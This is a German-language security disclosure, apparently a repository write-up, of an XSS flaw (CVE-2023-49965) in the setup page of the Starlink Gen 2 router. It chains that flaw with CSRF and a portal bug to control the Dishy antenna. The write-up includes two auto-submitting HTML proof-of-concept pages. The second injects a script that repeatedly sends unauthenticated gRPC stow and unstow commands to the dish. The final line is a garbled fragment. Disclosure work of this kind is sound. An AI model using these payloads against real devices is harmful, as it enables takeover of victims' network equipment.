yoshida-git-ai/spacex-starlink-router-gen-2-xssCVE-2023-49965 | SpaceX / Starlink Router Gen 2 XSS
Sie können die koreanische Version des Beitrags hier sehen :
https://hackintoanetwork.com/blog/2023-starlink-router-gen2-xss-kor
Eine Cross-Site Scripting (XSS)-Sicherheitslücke auf der anfänglichen Captive-Portal-Seite des Routers der zweiten Generation könnte es einem Angreifer ermöglichen, die Kontrolle über den Router und Dishy zu übernehmen.
Die Sicherheitslücke wird durch unzureichende Filterung der Eingabewerte für die Parameter ssid und password auf der anfänglichen Router-Setup-Seite (http://192.168.1.1/setup) verursacht.
<html>
<body>
<h1>Proof of Concept</h1>
<form id="PoC" method="POST" action="http://192.168.1.1/setup">
<input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'>
<!-- <input type="hidden" name="password" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
Diese Cross-Site Scripting (XSS)-Sicherheitslücke kann in Verbindung mit einem Cross-Site Request Forgery (CSRF)-Angriff ausgenutzt werden, wie im obigen Proof of Concept gezeigt.
Normalerweise sollte die Captive-Portal-Seite nur auf der internen Adresse des Routers, 192.168.1.1, aktiv sein, aber es gab einen Fehler in älteren Routern, der es ermöglichte, dass die Captive-Portal-Seite unerwartet von der internen Adresse von Dishy, 192.168.100.1, aus zugänglich war.
http://192.168.1.1/setup → Die Captive-Portal-Seite wird korrekt angezeigt.
http://192.168.100.1/setup → Die Captive-Portal-Seite wird ebenfalls unter dieser Adresse angezeigt.
(Normalerweise sollte der Zugriff auf die Captive-Portal-Seite unter Dishys interner Adresse 192.168.100.1 nicht möglich sein.)
Die Verwendung eines solchen Fehlers zusammen mit der Cross-Site Scripting (XSS)-Sicherheitslücke ermöglicht die Umgehung der Same-Origin Policy (SOP) des Browsers, was die Kontrolle über sowohl den Router als auch Dishy ermöglicht.
Es kann bestätigt werden, dass dieselbe Cross-Site Scripting (XSS)-Sicherheitslücke auch unter der Adresse http://192.168.100.1/setup auftritt.
Nun wollen wir sehen, wie ich diese Fehler ausnutzen kann, um die Kontrolle über Router und Dishy zu übernehmen.
Wenn der Stow-Befehl über die Administrationsoberfläche ausgeführt wird, wird die folgende HTTP-Anfrage an Dishy gesendet.
(Hinweis: Der Stow-Befehl ermöglicht es, die Dishy-Antenne für den Transport oder die Lagerung zusammenzuklappen.)
POST /SpaceX.API.Device.Device/Handle HTTP/1.1
Host: 192.168.100.1:9201
Content-Length: 8
x-grpc-web: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
content-type: application/grpc-web+proto
Accept: */*
Origin: http://dishy.starlink.com
Referer: http://dishy.starlink.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
�}
Der Header dieser Anfrage enthält mehrere wichtige Informationen.
x-grpc-web: 1
Dies weist auf die Verwendung des gRPC-Web-Protokolls hin.
content-type: application/grpc-web+proto
Es kennzeichnet, dass die übertragenen Daten das gRPC-Protokoll verwenden und im Protobuf-Format codiert sind.
Anfragekörper
Anfragekörper der Dishy-Stow-Anfrage (Hexadezimal)
\x00\x00\x00\x00\x03\xef\xbf\xbd\x7d\x00
Der Anfragekörper enthält Daten im grpc-web+proto-Format, die wahrscheinlich die Details des Stow-Befehls enthalten.
Wenn man diese Informationen zusammenfasst: Wenn ein Benutzer über die Administrationsschnittstelle einen Stow-Befehl ausführt, wird der Befehl über gRPC an Dishy gesendet, der Dishy in einen tragbaren Zustand versetzt.
Wenn man sich die Anfrage jedoch ansieht, fällt auf, dass es keine Authentifizierung für den sendenden Benutzer gibt.
Das bedeutet, dass jemand anderes als ein Administrator dieselbe Anfrage senden und ohne Autorisierung die Kontrolle über Dishy übernehmen könnte. Diese Sicherheitslücke erfordert jedoch, dass der Angreifer physischen Zugriff auf das lokale Netzwerk hat, was den Angriffsbereich im Vergleich zu Angriffen, die aus der Ferne erfolgen können, einschränkt.
Wenn dem so ist, denken Sie vielleicht, dass Sie einen Cross-Site Request Forgery (CSRF)-Angriff mit einer Nutzlast versuchen können, die dieselbe Anfrage sendet.
Obwohl dies ein mögliches Szenario ist, schränkt die Same-Origin Policy (SOP) des Browsers diesen Angriff ein.
gRPC erfordert einen spezifischen content-type-Header namens application/grpc-web+proto.
Die Same-Origin Policy (SOP) führt jedoch dazu, dass Browser diesen Header beim Senden von Anfragen aus anderen Quellen entfernen.
Dies macht es unter normalen Umständen unmöglich, gRPC-Anfragen von außen an Dishy zu senden.
Normalerweise schränkt eine Same-Origin Policy (SOP) Web-Browser ein, Anfragen von verschiedenen Quellen zu stellen.
Mit einer Cross-Site Scripting (XSS)-Sicherheitslücke kann ein Angreifer jedoch ein Skript im Webbrowser des Opfers ausführen.
Skripte, die von einem Angreifer mithilfe einer Cross-Site Scripting (XSS)-Sicherheitslücke injiziert werden, gelten als von derselben Quelle ausgeführt (d. h. der Website, auf der sich das Opfer gerade befindet).
Aus diesem Grund erkennt die Same-Origin Policy (SOP) Anfragen, die von diesen Skripten generiert werden, als von derselben Quelle stammend, und daher gelten die Einschränkungen der Same-Origin Policy (SOP) in diesem Fall nicht.
Daher wird bei einem Cross-Site Request Forgery (CSRF)-Angriff, der eine Cross-Site Scripting (XSS)-Sicherheitslücke ausnutzt und einen spezifischen content-type-Header erfordert, wie z. B. eine gRPC-Anfrage, die Anfrage als legitim erkannt und mit diesem spezifischen content-type-Header gesendet, da das Angriffsskript im Browser des Opfers läuft.
Beispielsweise könnte ein Angreifer durch die Verkettung eines Fehlers in 192.168.100.1 und einer Cross-Site Scripting (XSS)-Sicherheitslücke ein bösartiges Skript senden, um den Browser eines Benutzers zu proxyen und eine grpc-Anfrage zu senden, um den Router oder Dishy zu befehligen. (Der Angreifer könnte eine Vielzahl von grpc-Anfragen senden, einschließlich der Stow- und Unstow-Befehle von Dishy).
Daher kann durch die Verkettung der Cross-Site Scripting (XSS)-Sicherheitslücke und des zuvor erwähnten Fehlers eine Nutzlast erstellt werden, die eine Stow gRPC-Anfrage an Dishy sendet, wie folgt: (Das Ergebnis ist, dass ein Angreifer aus der Ferne die Kontrolle über den Router oder Dishy übernehmen kann. Beispielsweise könnten sie grpc-Befehle senden, um Router-Einstellungen zu ändern oder die Funktionalität von Dishy zu manipulieren.)
<html>
<body>
<h1>Dishy Stow and Unstow</h1>
<form id="PoC" method="POST" action="http://192.168.100.1/setup">
<!-- <input type="hidden" name="ssid" value='" onfocus=javascript:alert(`XSS`); autofocus="'> -->
<input type="hidden" name="password" value='"><script>for(let i=0;i<100;i++){setTimeout(()=>{var xhr=new XMLHttpRequest();xhr.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr.setRequestHeader("x-grpc-web","1");xhr.setRequestHeader("Content-Type","application/grpc-web+proto");xhr.onreadystatechange=()=>{if(xhr.readyState==4&&xhr.status==200){console.log(xhr.responseText);}};xhr.send(new Uint8Array([0,0,0,0,3,146,125,0]).buffer);setTimeout(()=>{var xhr2=new XMLHttpRequest();xhr2.open("POST","http://192.168.100.1:9201/SpaceX.API.Device.Device/Handle",true);xhr2.setRequestHeader("x-grpc-web","1");xhr2.setRequestHeader("Content-Type","application/grpc-web+proto");xhr2.onreadystatechange=()=>{if(xhr2.readyState==4&&xhr2.status==200){console.log(xhr2.responseText);}};xhr2.send(new Uint8Array([0,0,0,0,5,146,125,2,8,1]).buffer);},1000);},i*2000);}</script><input type="hidden'/>
</form>
<script type="text/javascript">
document.addEventListener("DOMContentLoaded", function() {
document.getElementById("PoC").submit();
});
</script>
</body>
<html>
$500 USD)2023.48.0 und höher enthalten)